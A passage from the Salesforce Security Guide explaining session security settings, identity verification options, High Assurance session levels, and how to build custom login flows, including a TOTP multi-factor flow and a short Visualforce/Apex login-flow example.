Let users verify their identity by text (SMS) Allows users to receive an identity verification code in a text message. Users
must verify their phone number before they can receive identity verification
codes by text. This setting is enabled by default for all orgs. A verification code
is valid for 24 hours. If the code isn’t used during that time, you can generate
a new verification code by reinitializing initSelfRegistration.
To disable SMS as a method of verification, contact Salesforce support. The
email method of identity verification can't be disabled.

Prevent identity verification by email when other Allows users to get verification codes by email only if no other identity method
methods are registered has been verified. Other verification methods include Salesforce Authenticator,
SMS, time-based one-time password (TOTP), and physical key (U2F). This
setting is enabled by default for all orgs. A verification code is valid for 24
hours. If the code isn’t used during that time, you can generate a new
verification code by reinitializing initSelfRegistration.

Require security tokens for API logins from callouts Requires the use of security tokens for API logins from callouts in API version
(API version 31.0 and earlier) 31.0 and earlier. Examples are Apex callouts or callouts using the AJAX proxy.
In API version 32.0 and later, security tokens are required by default.

31
Salesforce Security Guide Configure User Authentication

Field Description
Let users verify their identity with a physical security Permits the use of a U2F security key for multi-factor authentication (MFA)
key (U2F) and identity verification. Instead of using Salesforce Authenticator, one-time
passwords generated by an authenticator app, or one-time passwords sent
by email or SMS, users insert their registered U2F security key into the
appropriate port to complete verification.

Let users authenticate with a certificate Enables certificate-based authentication to use PEM-encoded X.509 digital
certificates to authenticate individual users to your org.

Require identity verification during multi-factor Requires users to confirm their identities before adding an MFA verification
authentication (MFA) registration method, such as Salesforce Authenticator, instead of requiring a relogin as
before.

Require identity verification for email changes Requires users to log in again and confirm their identity before their email
address change takes effect. Users verify their identity using a registered
verification method, such as Salesforce Authenticator, SMS, or email.

Note: If the user’s verification method is email, the verification code

is sent to the user’s previously registered email address rather than the
new email address.

Require email confirmations for email address Requires external users to confirm that they own the new email address. When
changes (applies to external users in Experience users change their email address, they receive an email at the new email
Builder sites) address with a link. After they click the link, their new email address takes
effect. Email confirmations are enabled by default for orgs created in Winter
’20 and later. For orgs created before Winter ’20, Salesforce recommends that
you enable this option as a security precaution. This option doesn’t apply to
employees.

Let Salesforce Authenticator automatically verify Allows Salesforce Authenticator to use the phone's location services to verify
identities using geolocation a user's identity. If users approve the location, they aren't prompted for their
identity when at that location. If the location is not approved, or if users are
outside the trusted location, they're prompted to verify their identity.

Let Salesforce Authenticator automatically verify Allows Salesforce Authenticator to use trusted IP ranges to verify a user’s
identities based on trusted IP addresses only identity. When users are located within trusted IP address ranges, they aren't
prompted to verify their identity. If users are outside the trusted IP address
range, they're prompted to verify their identity.

Prevent login from mobile user devices with Prevents a user with a revoked UserDevice from logging in from a Salesforce
revoked status app. Logins from browsers aren’t affected.

Allow Lightning Login Permits the use of Lightning Login to log in to Salesforce with Salesforce
Authenticator instead of a password.

Allow only for users with the Lightning Login User Allows users to use Lightning Login to log in to Salesforce with Salesforce
permission Authenticator instead of a password when the Lightning Login user permission
is enabled.

32
Salesforce Security Guide Configure User Authentication

Field Description
Enable clickjack protection for Setup pages Protects against clickjack attacks on setup Salesforce pages. Clickjacking is
also known as a user interface redress attack. (Setup pages are available from
the Setup menu.)

Enable clickjack protection for non-Setup Salesforce Protects against clickjack attacks on non-setup Salesforce pages. Clickjacking
pages is also known as a user interface redress attack. Setup pages already include
protection against clickjack attacks. (Setup pages are available from the Setup
menu.) This setting is selected by default for all orgs.

Enable clickjack protection for customer Visualforce Protects against clickjack attacks on your Visualforce pages with headers
pages with standard headers enabled. Clickjacking is also known as a user interface redress attack.
Also allows iframes on trusted external domains. To enable this feature, add
external domains where you allow framing under Trusted Domains for Inline
Frames.

Enable clickjack protection for customer Visualforce Protects against clickjack attacks on your Visualforce pages with headers
pages with headers disabled disabled when setting showHeader="false" on the page. Clickjacking
is also known as a user interface redress attack.
Also allows iframes on trusted external domains. To enable this feature, add
external domains where you allow framing under Trusted Domains for Inline
Frames.

Enable CSRF protection on GET requests on Protects against Cross Site Request Forgery (CSRF) attacks by modifying
non-setup pages non-Setup pages. Non-Setup pages include a random string of characters in
the URL parameters or as a hidden form field. With every GET and POST request,
Enable CSRF protection on POST requests on
the application checks the validity of this string of characters. The application
non-setup pages
doesn’t execute the command unless the value found matches the expected
value. This setting is selected by default for all orgs.

Enable Stricter Content Security Policy The Lightning Component framework uses Content Security Policy (CSP), the
W3C standard to control the source of content that can be loaded on a page.
The Enable Stricter Content Security Policy setting was introduced in the
Winter ‘19 release to prohibit the use of the unsafe-inline source for
the script-src directive. The setting mitigates the risk of cross-site
scripting attacks and was enabled by default. In the current release, this setting
is always enabled and unsafe-inline is always prohibited, even if this
setting appears to be disabled. We plan to remove the setting from Session
Settings in a future release, as the restriction on unsafe inline JavaScript is
always enforced.

Lightning Locker API Version Sets the API version for Lightning Locker compatibility for all Lightning
components that don't specify an API version. Lightning Locker enhances
security with each version, so we recommend updating your custom
components to comply with the latest. If you’re unable to update them right
away, or require a managed package that’s incompatible with the latest, you
can temporarily select an earlier, compatible API version.

33
Salesforce Security Guide Configure User Authentication

Field Description
XSS protection Protects against reflected cross-site scripting attacks. If a reflected cross-site
scripting attack is detected, the browser shows a blank page with no content.

Content Sniffing protection Prevents the browser from inferring the MIME type from the document
content. It also prevents the browser from executing malicious files (JavaScript,
Stylesheet) as dynamic content.

Referrer URL Protection When loading pages, the referrer header shows only Salesforce.com rather
than the entire URL. This feature eliminates the potential for a referrer header
to reveal sensitive information that could be present in a full URL, such as an
org ID. This feature works only for Chrome and Firefox.

HSTS for Sites and Communities Requires HTTPS on communities and Salesforce Sites.

Note: This setting must be enabled in two locations: Enable HSTS for
Sites and Communities in Session Settings. Enable Require Secure
Connections (HTTPS) in the community or Salesforce Site security
settings. See Creating and Editing Salesforce Sites.

Warn users before they are redirected outside of Displays a warning message when users click links that take them outside the
Salesforce salesforce.com domain. The warning message includes the full link to the
external URL and the domain name. Use this feature to protect your users
from malicious URLs and phishing. In Lightning Experience, the warning
message applies only to web tabs.

Logout URL Redirects users to a specific page after they logout of Salesforce, such as an
authentication provider’s page or a custom-branded page. This URL is used
only if no logout URL is specified in the identity provider, SAML single sign-on,
or external authentication provider settings. If no value is specified for Logout
URL, the default is https://login.salesforce.com, unless
MyDomain is enabled. If My Domain is enabled, the default is
https://customdomain.my.salesforce.com.

Link expires in Specifies how long the account verification link in welcome emails to new
users is valid. You can select 1, 7, or 180 days. By default, account verification
links expire after 7 days.
When you update this setting, the change applies to links in welcome emails
that were already sent. For example, you added a user and sent a welcome
email two days ago when links expired in seven days. If you update the setting
so that links expire in one day, the link in the email you sent two days ago is
no longer valid.

3. Click Save.

34
Salesforce Security Guide Configure User Authentication

Session Security Levels

You can restrict access to certain types of resources based on the level of security associated with the authentication method for the
user’s current session. By default, each login method has one of two security levels: Standard or High Assurance. You can change the
session security level and define policies so that specified resources are available only to users assigned a High Assurance level.
For sensitive operations, require a High Assurance level of security, or block users altogether. If users already have a High Assurance
session after logging in, they aren’t prompted to reverify their identity in the same session. This requirement applies even if you require
High Assurance for these operations.
The following table lists the different authentication methods and their default session security levels.

Type Default Session Security Description

Level
Username and Password Standard Users log in by providing a username and password on a
login page.

Delegated Authentication Standard Users log in by providing a username and a password that
is validated using a callout to a delegated authentication
endpoint.

Activation Standard Users verify their identity when accessing Salesforce from
a new browser or device.

Lightning Login Standard Internal users log in by using Salesforce Authenticator

instead of a password.

Passwordless Login Standard External users of communities log in by providing a

verification code instead of a password.

Multi-Factor Authentication High Assurance Users complete a multi-factor authentication (MFA)

challenge to access a resource. For example, a user must
complete MFA when accessing a report that requires a High
Assurance level with the Raise session level policy.

Warning: Be careful about changing the security

level of multi-factor authentication to Standard. If
multi-factor authentication has a Standard security
level, but the user profile setting, Session security
level required at login, requires a High Assurance
session security level, the user can’t log in. User
access is blocked when the High Assurance
requirement isn’t met.

Authentication Provider Standard Users log in to Salesforce using their login credentials from
an external service provider.

SAML Standard Users are authenticated using the SAML protocol for single
sign-on.

Note: The security level for a SAML session can also

be specified using the SessionLevel attribute of the
SAML assertion sent by the identity provider. The

35
Salesforce Security Guide Configure User Authentication

Type Default Session Security Description

Level

attribute can take one of two values, STANDARD or

HIGH_ASSURANCE.

To change the security level associated with a login method:

1. From Setup, enter Session Settings in the Quick Find box, then select Session Settings.
2. Under Session Security Levels, select the login method.
3. To move the method to the proper category, click the Add or Remove arrow.
Reports and dashboards in Salesforce and connected apps use session-level security. You can set policies requiring High Assurance on
these types of resources. You can also specify an action to take when the session used to access the resource is not High Assurance. The
supported actions are:
• Block—Prevents access to the resource by showing an insufficient privileges error.
• Raise session level—Prompts users to complete multi-factor authentication. When users authenticate successfully, they can access
the resource. For reports and dashboards, you can apply this action when users access reports or dashboards, or just when they
export and print them.

Warning: Raising the session level to High Assurance by redirecting the user to complete multi-factor authentication is not a
supported action in Lightning Experience. If your org enabled Lightning Experience, and you set a policy that requires a High
Assurance session to access reports and dashboards, Lightning Experience users with a standard session are blocked from reports
and dashboards. Also, they don’t see the icons for these resources in the navigation menu. As a workaround, users with a Standard
Assurance session can log out and log in again using an authentication method that is defined as High Assurance for their org.
Then they can access reports and dashboards. Or, they can switch to Salesforce Classic, where they’re prompted to raise the session
level when they attempt to access reports and dashboards.
To require High Assurance when accessing a connected app:
1. From Setup, enter Connected Apps in the Quick Find box, then select the option for managing connected apps.
2. Click Edit next to the connected app.
3. Select High Assurance session required.
4. Select one of the actions presented.
5. Click Save.
To require a High Assurance policy when accessing reports and dashboards:
1. From Setup, enter Access Policies in the Quick Find box, then select Access Policies.
2. Select High Assurance session required.
3. Select one of the actions presented.
4. Click Save.

Note: You also can set the High Assurance requirement for reports and dashboards on the Identity Verification page. For more
information, see Require High Assurance Session Security for Sensitive Operations.
Session levels have no impact on resources in the app other than connected apps, reports, and dashboards, for which explicit security
policies have been defined.

36
Salesforce Security Guide Configure User Authentication

Define Identity Verification Settings for Your Orgs and Experience Cloud Sites
Define how and when users are prompted to verify their identity for an entire org or Experience
EDITIONS
Cloud site. For example, determine whether users can verify their identity through email, text
messages, or certificates. Available in: all editions
These identity verification settings are also available on the Session Settings page. You can change
the settings in either location. In addition to these settings, you can send async email verifications
USER PERMISSIONS
to ensure that users are registered with a valid email address. See Verify Email Addresses with Async
Email To modify identity verification
1. In Setup, enter Identity in the Quick Find box, and then click Identity Verification. settings:
• Customize Application
2. Customize the identity verification settings, and then click Save.

Field Description
Let users verify their identity by text (SMS) Allows users to receive an identity verification
code in a text message. Users must verify their
phone number before they can receive
identity verification codes by text. This setting
is enabled by default for all orgs. A verification
code is valid for 24 hours. If the code isn’t used
during that time, you can generate a new
verification code by reinitializing
initSelfRegistration.
To disable SMS as a method of verification,
contact Salesforce support. The email method
of identity verification can't be disabled.

Prevent identity verification by email when Allows users to get verification codes by email
other methods are registered only if no other identity method has been
verified. Other verification methods include
Salesforce Authenticator, SMS, time-based
one-time password (TOTP), and physical key
(U2F). This setting is enabled by default for all
orgs. A verification code is valid for 24 hours.
If the code isn’t used during that time, you
can generate a new verification code by
reinitializing initSelfRegistration.

Require security tokens for API logins from Requires the use of security tokens for API
callouts (API version 31.0 and earlier) logins from callouts in API version 31.0 and
earlier. Examples are Apex callouts or callouts
using the AJAX proxy. In API version 32.0 and
later, security tokens are required by default.

Let users verify their identity with a physical Permits the use of a U2F security key for
security key (U2F) multi-factor authentication (MFA) and identity
verification. Instead of using Salesforce
Authenticator, one-time passwords generated
by an authenticator app, or one-time

37
Salesforce Security Guide Configure User Authentication

Field Description
passwords sent by email or SMS, users insert their registered U2F
security key into the appropriate port to complete verification.

Let users authenticate with a certificate Enables certificate-based authentication to use PEM-encoded
X.509 digital certificates to authenticate individual users to your
org.

Require identity verification during multi-factor authentication Requires users to confirm their identities before adding an MFA
(MFA) registration verification method, such as Salesforce Authenticator, instead of
requiring a relogin as before.

Require identity verification for email changes Requires users to log in again and confirm their identity before
their email address change takes effect. Users verify their identity
using a registered verification method, such as Salesforce
Authenticator, SMS, or email.

Note: If the user’s verification method is email, the

verification code is sent to the user’s previously registered
email address rather than the new email address.

Require email confirmations for email address changes (applies Requires external users to confirm that they own the new email
to external users in Experience Builder sites) address. When users change their email address, they receive an
email at the new email address with a link. After they click the
link, their new email address takes effect. Email confirmations
are enabled by default for orgs created in Winter ’20 and later.
For orgs created before Winter ’20, Salesforce recommends that
you enable this option as a security precaution. This option
doesn’t apply to employees.

Let Salesforce Authenticator automatically verify identities using Allows Salesforce Authenticator to use the phone's location
geolocation services to verify a user's identity. If users approve the location,
they aren't prompted for their identity when at that location. If
the location is not approved, or if users are outside the trusted
location, they're prompted to verify their identity.

Let Salesforce Authenticator automatically verify identities based Allows Salesforce Authenticator to use trusted IP ranges to verify
on trusted IP addresses only a user’s identity. When users are located within trusted IP address
ranges, they aren't prompted to verify their identity. If users are
outside the trusted IP address range, they're prompted to verify
their identity.

Prevent login from mobile user devices with revoked status Prevents a user with a revoked UserDevice from logging in from
a Salesforce app. Logins from browsers aren’t affected.

SEE ALSO:
Modify Session Security Settings
Require High-Assurance Session Security for Sensitive Operations

38
Salesforce Security Guide Configure User Authentication

Require High-Assurance Session Security for Sensitive Operations

To secure different setup areas in your org, require a high-assurance level of security for sensitive
EDITIONS
operations, such as accessing reports and managing IP addresses. You can also block users from
accessing these setup areas. Available in: all editions
These settings apply only to users who have user permissions to access these operations. If users
have a high-assurance session after logging in, they aren’t prompted to verify their identity in the
USER PERMISSIONS
same session, even if you require high assurance for sensitive operations.
1. In Setup, enter Identity in the Quick Find box, and then click Identity Verification. To modify session security
settings:
2. Under Session Security Level Policies, raise the session security level to high assurance, or block • Customize Application
users.
• Reports and Dashboards—Controls access to reports and dashboards. This setting is also
available on the Reports and Dashboards Access Policies page. You can change this setting in either location.
• Manage Encryption Keys—Controls access to the Platform Encryption page, the Certificate and Key Management Setup page,
and the TenantSecret object.
• Manage Auth. Providers—Controls access to the Auth. Providers page, the User Details Setup page, and the AuthProvider object.
• Manage Certificates—Controls access to the Certificate and Key Management Setup page, Single Sign-On Settings Setup page,
and the Certificate object.
• Manage Connected Apps—Controls access to the Connected Apps Setup pages and the App Manager Setup page.
• Manage Data Export—Controls access to the Data Export Setup page.
• Manage IP Addresses—Controls access to the Network Access Setup page.
• Manage Login Access Policies—Controls access to the Login Access Policies Setup page.
• Manage Password Policies—Controls access to the Password Policies Setup page and profile details.
• Manage Permission Sets and Profiles—Controls access to the Permission Sets and Profile Setup pages and related objects.
• Manage Roles—Controls access to the Roles Setup page, the UserRole object, and the Role object in Metadata API.
• Manage Sharing—Controls access to the Sharing Settings Setup page, the SharingRules object, and the CustomObject’s
sharingModel field in Metadata API.
• Manage Multi-Factor Authentication in API—Controls access to the VerificationHistory, TwoFactorInfo, and TwoFactorTempCode
objects.
• Manage Multi-Factor Authentication in User Interface—Controls access to the Identity Verification History Setup page and the
VerificationHistory, TwoFactorInfo, and TwoFactorTempCode objects.
• Manage Users—Controls access to the Users Setup page.
• Unlock Users and Reset Passwords—Controls permission to reset passwords and unlock users on the Users Setup page.
• View Health Check—Controls access to the Health Check Setup page.

Note: You can’t block users from accessing the setup areas controlled by the Manage Permission Sets and Profiles or Manage
Users settings.

SEE ALSO:
Define Identity Verification Settings for Your Orgs and Experience Cloud Sites
Modify Session Security Settings

39
Salesforce Security Guide Configure User Authentication

Custom Login Flows

A login flow directs users through a login process before they access your Salesforce org or Experience Cloud site. You can use a login
flow to control the business processes that your users follow when they log in to Salesforce. After Salesforce authenticates a user, the
login flow directs the user through a process, such as enforcing strong authentication or collecting user information. When users complete
the login flow successfully, they’re redirected to their Salesforce org or site. If unsuccessful, the flow can log out users immediately.
To create a flow, use either Flow Builder or Visualforce. Flow Builder is a point-and-click tool that you can use to design a simple flow
that users execute when logging in. Use Visualforce to have complete control over how the login page looks and behaves.
After creating a flow, designate the flow as a login flow and associate it with specific profiles in your org. You can create multiple login
flows and associate each one with a different user profile. Users assigned to one profile, like sales reps, experience a particular login
process as they log in. Users assigned to a different profile like service reps, experience a different login process.
When you associate a login flow with a profile, it’s applied each time a user with that profile logs in to an org or site. The flow is also
applied when a user logs in to the Salesforce mobile app and even Salesforce client apps that use OAuth. You can apply login flows to
Salesforce orgs and Experience Cloud sites.
Login flows support all Salesforce authentication methods: standard username and password, delegated authentication, SAML single
sign-on (SSO), and SSO through a third-party authentication provider. For example, users logging in with a LinkedIn account can go
through a login flow specific for LinkedIn users.

Note: You can’t apply login flows to API logins or when sessions are passed to the UI through frontdoor.jsp from a non-UI
login process.

Login Flow Use Cases

Wondering what you can use login flows for? Here are some example use cases.
• Enhance or customize the login experience by adding a logo or login message.
• Collect and update user data, such as an email address, phone number, or mailing address.
• Interact with users, and ask them to perform an action. For instance, you can ask them to complete a survey or accept terms of
service.
• Connect to a Customer 360 Identity service or geo-fencing service, and collect or verify user information.
• Enforce strong authentication, like implementing a multi-factor authentication (MFA) method using hardware, biometric, or another
authentication technique.
• Run a confirmation process. For example, have a user define a secret question, and validate the answer during login.
• Create more granular policies like setting up a policy that sends a notification every time a user logs in during non-standard working
hours.

Login Flow Execution

Before creating a login flow, it’s important to understand login flow execution.
• To invoke a login flow, the user must first be authenticated. Login flows don’t replace the existing Salesforce authentication process.
They integrate new steps or ask the user for information.
• During login-flow execution, users have restricted access. Users in a login flow can access only the flow—they can’t bypass it to get
to the application. They can log in to the org only when they successfully authenticate and complete the flow.

Create and Manage Login Flows

For help with creating and managing login flows, review these articles.

40
Salesforce Security Guide Configure User Authentication

IN THIS SECTION:
Create a Login Flow with Flow Builder
Use the point-and-click Flow Builder to create a login flow declaratively. With this tool, you create a screen flow—a collection of
screens and connectors that step users through a business process when they log in.
Create a Custom Login Flow with Visualforce
Use Visualforce and an Apex controller to create a custom login flow programmatically. With Visualforce, you have complete control
over how your login page looks, behaves, and directs users after they complete the flow. You can design your login page from scratch
and control every pixel of the page.

SEE ALSO:
Login Flow Examples

Create a Login Flow with Flow Builder

Use the point-and-click Flow Builder to create a login flow declaratively. With this tool, you create
EDITIONS
a screen flow—a collection of screens and connectors that step users through a business process
when they log in. Available in: both Salesforce
Note: You can also use Visualforce to create a Visualforce Page login flow in code. Classic and Lightning
Experience
Customize the default login flow to meet your needs.
Available in: Essentials,
• Supply your own logo Professional, Enterprise,
• Change the colors of the background and login button Performance, Unlimited,
and Developer Editions
• Display content on the right frame of the page
Follow these steps to build a login flow.
USER PERMISSIONS
1. Create a screen flow.
To open, edit, or create a
Note: Make sure that you save and activate the flow. flow in Flow Builder:
• Manage Flow
2. From Setup, designate the flow as a login flow, and associate the flow with user profiles. See
Set Up a Login Flow and Connect to Profiles.

Create a Custom Login Flow with Visualforce

Use Visualforce and an Apex controller to create a custom login flow programmatically. With Visualforce, you have complete control
over how your login page looks, behaves, and directs users after they complete the flow. You can design your login page from scratch
and control every pixel of the page.
Define the business process in an Apex controller of the Visualforce page. Salesforce doesn’t pass input variables to a Visualforce Page
login flow, but you can access user and login context. Include one of these Apex methods.
• Auth.SessionManagement.finishLoginFlow() indicates that the login flow is done and redirects the user to the
home page
• Auth.SessionManagement.finishLoginFlow(startURL) indicates that the login flow is done and redirects the
user to a specific page.
The login flow runs in a restricted session. Calling a finishLoginFlow method removes the session restriction and gives users
access to Salesforce or their Experience Cloud site. You decide when or under what condition to call the method to remove the session
restriction.

41
Salesforce Security Guide Configure User Authentication

Here’s an example of a Visualforce Page login flow. The user clicks a button to invoke the finishLoginFlow method. Specify
showHeader=”false” for the login flow to work correctly.

<apex:page showHeader="false" controller="VFLoginFlowController">

<h1>You are in VF Login Flow</h1>
<apex:form >
<apex:commandButton action="{!FinishLoginFlowHome}" value="Finish and Go to Home"/>
<apex:commandButton action="{!FinishLoginFlowStartUrl}" value="Finish and Go to
StartUrl"/>
</apex:form>
</apex:page>

Here’s an example of an Apex controller that defines the business process.

public class VFLoginFlowController {

public PageReference FinishLoginFlowStartUrl() {

//do stuff

//finish the login flow and send you to the startUrl (account page in this case)
return Auth.SessionManagement.finishLoginFlow('/001');
}

public PageReference FinishLoginFlowHome() {

//do stuff

//finish the login flow and send you the default homepage
return Auth.SessionManagement.finishLoginFlow();
}
}

Give access to each profile that you want to associate with this Visualforce Page.
1. From Setup, enter Visualforce in the Quick Find box, then select Visualforce Page.
2. Next to the Visualforce page that you want to use, click Security.
3. From the list of available profiles, add the profiles that you want to associate with this login flow.
4. From Setup, designate the Visualforce page as a login flow, and connect the profiles to it. See Set Up a Login Flow and Connect to
Profiles.

Set Up a Login Flow and Connect to Profiles

After you create a flow using Flow Builder or Visualforce, designate it as a login flow and associate
EDITIONS
it with user profiles. When users log in with an associated profile, they’re directed through the login
flow. Available in: both Salesforce
Note: Don’t associate a login flow with your administrator profile until you are sure that the Classic and Lightning
Experience
login flow works properly. Otherwise, if it fails, you can’t log in to your org.
1. From Setup, enter Login in the Quick Find box, then select Login Flows. Available in: Essentials,
Professional, Enterprise,
2. Click New. Performance, Unlimited,
3. On the Login Flow Edit page, enter a name for the login flow. and Developer Editions

42
Salesforce Security Guide Configure User Authentication

4. Select the type of flow you created. Choose Flow if you created the flow with Flow Builder. Choose Visualforce Page if you created
the flow with Visualforce.

Note: For Visualforce Page login flows, make sure that the profiles you intend to associate with this login flow have access
to the Visualforce Page.

5. From the dropdown list of available flows, choose the appropriate login flow.
6. Select a user license for the profile that you want to connect to the login flow.
7. From the list of available profiles for this license, select the profile to associate with this login flow.
8. If you want the login flow to resemble the Lightning Experience UI, select Render Flow in Lightning Runtime. If you don’t select
this option, the login flow resembles Salesforce Classic.

Note: A login flow is independent of which UI users use: Lightning Experience or Salesforce Classic. You can set a login flow
to resemble Lightning Experience even if users log in to Salesforce Classic. Likewise, you can set a login flow to resemble
Salesforce Classic even if users log in to Lightning Experience.

9. Click Save.
After you connect the login flow, you can edit or delete it from the Login Flows Setup page.

Login Flow Examples

You can use a login flow to customize the login experience and integrate business processes with Salesforce authentication. Common
uses cases include collecting and updating user data at login, configuring multi-factor authentication, or integrating third-party strong
authentication methods.
Let’s look at three common use cases for login flows.
• Collect and update user data during login
• Apply customized multi-factor authentication (MFA)
• Integrate third-party strong authentication mechanisms

Collect and Update User Data at Login

This login flow requests users to confirm or update their phone numbers, which are then updated in the user accounts.
1. Query the user object for the user’s phone numbers, if they exist.

43
Salesforce Security Guide Configure User Authentication

2. Display the numbers, and ask the user to confirm or update them.
3. Update the user object with new numbers, if provided.

Create the Flow

1. Go to Flow Builder.
2. From the Manager tab in the toolbox, click New Resource and create a variable to store user’s ID.
The login event passes a list of context attributes to the flow. When the flow starts, the corresponding attributes’ values are populated
in the appropriate input variable. To use these attributes in the flow, define local text variables using the
LoginFlow_ATTRIBUTE_NAME format. For example, LoginFlow_UserId, which you can use to verify the ID of the user logging
in and query the associated user object.

After you add each variable, it appears on the Manager tab.

The following input variables are supported.
• LoginFlow_LoginType
• LoginFlow_IpAddress
• LoginFlow_UserAgent
• LoginFlow_Platform
• LoginFlow_Application
• LoginFlow_Community
• LoginFlow_SessionLevel
• LoginFlow_UserId
You can also store these attributes as output variables in the flow.
• LoginFlow_FinishLocation (type Text)—This variable determines where to send the user when the flow is completed.

44
Salesforce Security Guide Configure User Authentication

• LoginFlow_ForceLogout (type Boolean)—When this variable is set to true, the user is immediately logged out.

3. On the Manager tab, click New Resource to create a record variable to store values from the user.

4. Add a Get Records element to look up the user who’s trying to log in.

5. Specify the user fields that you want to store in the variable, for example, Phone and MobilePhone.

45
Salesforce Security Guide Configure User Authentication

6. Create a welcome screen to ask the user to confirm the phone numbers on file.

7. To set a default value for each Phone component in the screen, set Value to the appropriate field on the {!user} record variable. For
Phone, that’s {!user.Phone}. For Mobile Phone, that’s {!user.mobilePhone}.
8. To store the user’s entry for each Phone component, set Value in the component’s Store Output Values section to the same field
as in the previous step.

46
Salesforce Security Guide Configure User Authentication

9. Add an Update Records element that uses the values in the {!user} record variable to update the user’s phone numbers. Since you
stored each Phone screen component’s outputs in fields on the {!user} record variable, the flow uses those values to update the user.

10. Connect the elements together.

11. Name the login flow and save it.

47
Salesforce Security Guide Configure User Authentication

12. Connect the login flow to a user profile. Best practice is to create a dedicated test user with a test profile.

Note: Don’t associate a login flow with your administrator profile until you’re sure that the login flow works properly. Otherwise,
if it fails, you can’t log in to your org.

13. Log out, and then log in as the test user to test the flow.
When you test the Welcome Flow example, here’s how it looks using Lightning Experience.

Configure Multi-Factor Authentication (MFA)

This example implements a login flow that enhances time-based one-time password (TOTP) authentication with an MFA method that
Salesforce supports. The TOTP algorithm computes a one-time password from a shared secret key and the current time.
The flow does the following.
• If the user isn’t yet registered, generates a new secret key, and prompts the user to register the key with a Quick Response (QR) code.
After the user provides a valid TOTP token, the secret key is stored in the user record. The key is reused for future logins.
• If the user is already registered, prompts the user for only the TOTP token.
Users can use a time-based authentication application, such as Salesforce Authenticator or Google Authenticator, to scan the QR code
and generate a TOTP token.

48
Salesforce Security Guide Configure User Authentication

You can enhance this flow and customize the user experience by adding a corporate logo and corporate colors. You can even add and
enforce different policies. For example, you can build an IP-based MFA process that requires a second authentication factor only when
the IP address is outside of a certain range.
This example uses the TwoFactorInfo object and the Auth.SessionManagement Apex class to customize and manage the
standards-based TOTP multi-factor authentication that Salesforce supports.
1. Look up the TwoFactorInfo object for the current user. If the user isn’t registered, generate a key.
2. Determine whether the user is already registered with TOTP.
3. If the user is already registered, prompt the user to provide the TOTP token.
4. If the user isn’t registered, prompt the user to register with a QR code and provide the TOTP token.
5. Validate the TOTP token. If the token is valid, the login flow finishes, and the user logs in.
6. If the TOTP token is invalid, send the user back to step 2.

Configure the TOTP Flow

1. Create the variables.
• secret–Stores the secret key for all multi-factor operations.
• qr_url–Stores the URL for the QR code encoding of the secret key.
• IsTokenValid–Stores the verification result.
secret and qr_url are Text variables, and IsTokenValid is a Boolean variable.

49
Salesforce Security Guide Configure User Authentication

2. To generate a new secret for users that aren’t already registered with a TOTP, drag an Apex Action (Legacy) element onto the canvas,
and select the TOTPPlugin legacy Apex action.

Apex actions are Apex classes that extend the standard functionality of a flow. You can use an Apex action to do a complex calculation,
make API calls to external services, and more.
TOTPPlugin accesses the Salesforce TOTP methods, generates a time-based secret key with a QR code, and validates the TOTP. The
Apex class for TOTPPlugin is available in the login flow sample package.
The legacy Apex action has these input parameters.
• OTP_INPUT–The TOTP token that the user provides.
• OTP_REGISTRATION_INPUT–The TOTP token that the user provides when first registering.
• SECRET_INPUT–The secret key used to generate the TOTP.
It returns the following output values.

50
Salesforce Security Guide Configure User Authentication

• SECRET_OUTPUT–A secret key generated by the plug-in.

• QR_URL_OUTPUT–A QR encoding of the secret key.
• IsValid_OUTPUT–If the validation succeeded, it returns true. Otherwise, it returns false.
Configure this instance of TOTPPlugin to generate a new secret key and QR code if the user isn’t already registered. In this case, no
input is passed.

The secret key and URL for the QR code are stored in the qr_url and secret variables.

3. Configure a Decision element to register a user.

This decision verifies whether secret is null. If it’s not null, the user must register. So define Register as an outcome of the
decision. Otherwise, the user is already registered and must provide only the TOTP token. Change the label of the default outcome
to Get TOTP.

51
Salesforce Security Guide Configure User Authentication

4. Configure the Get TOTP screen.

Users that are already registered are routed to this screen and asked for the TOTP token. Later in the flow, you can use the TOTP
token that users enter by referencing the API name of the Text component (OTP_input).

5. Configure the Registration screen. Ask the user to scan the QR code, initialize the TOTP client application, and enter the TOTP token.

52
Salesforce Security Guide Configure User Authentication

6. To validate the TOTP token that the user enters, configure another instance of the TOTPPlugin legacy Apex action.
The TOTPPlugin legacy Apex action supports both of these use cases.
• The user comes from the Registration screen. The user has to scan the QR code and provide the TOTP token. Both the TOTP
token and secret are passed to TOTPPlugin for validation. TOTPPlugin validates the TOTP token against the secret. If valid, the
secret is registered on the user record and used for future logins.
• The user comes from the Get Token screen. The user is already registered and provides only the TOTP. The TOTP token is passed
via the TokenInput parameter to TOTPPlugin for validation.

The isTokenValid parameter returns the validation status, which is then stored in the isTokenValid flow variable.

53
Salesforce Security Guide Configure User Authentication

7. Determine whether to log in the user by configuring another Decision element with two possible outcomes.
• If IsTokenValid is true, the token is valid.
• Otherwise, the token is invalid.
If the validation succeeds, the user proceeds to the end of the flow, clicks to the next step, and logs in to the application. If the
validation fails, the flow redirects the user back to step 2 in the flow. In step 2, a registered user is asked to provide a new TOTP token.
If the user isn’t yet registered, the user is asked to register and provide a new TOTP token.

8. Connect the elements together.

• To connect the Registration decision to the Registration screen, choose the Register outcome.
• To connect the Registration decision to the Get TOTP screen, choose the Get TOTP outcome.
• To connect the Login decision to the Registration decision, choose the Token is invalid outcome.

9. Save the login flow, activate it, and connect it with a user profile.

Integrate Third-Party Strong Authentication Methods

You can use login flows to interact with external third-party authentication providers by using an API.
For example, Yubico offers strong authentication using a physical security key called a YubiKey. Yubico also provides an example Apex
library and login flow on GitHub. The library supplies Apex classes for validating YubiKey one-time passwords (OTPs). The classes allow
Salesforce users to use a YubiKey as a second authentication factor at login. For more information, see yubikey-salesforce-client.
You can also implement a third-party SMS or voice delivery service, like Twilio or TeleSign, to implement an SMS-based multi-factor
authentication and identity verification flow. For more information, see Deploy Third-Party SMS-Based Multi-Factor Authentication.

Login Flow Samples Package

The Login Flow Samples Package is an unmanaged package that installs different login flow samples into your Salesforce org. It contains
the following examples.
• Email Confirmation–Send email with a verification code.
• SF-TOTP–Enable TOTP multi-factor authentication.

54
Salesforce Security Guide Configure User Authentication

• Conditional Multi–Factor–Skip multi-factor authentication for users who come from a trusted IP address.
• Device Activation–Confirm the user identity using email or multi-factor authentication.
• Accept Terms of Service–Ask the user to agree to terms before continuing.

SEE ALSO:
Deploy Third-Party, SMS-Based Multi-Factor Authentication
Limit the Number of Concurrent Sessions with Login Flows
Custom Login Flows
YubiKey for salesforce.com

Multi-Factor Authentication Considerations

Before enabling multi-factor authentication (MFA), review these considerations.
EDITIONS
Note: Multi-factor authentication was formerly called two-factor authentication or 2FA.
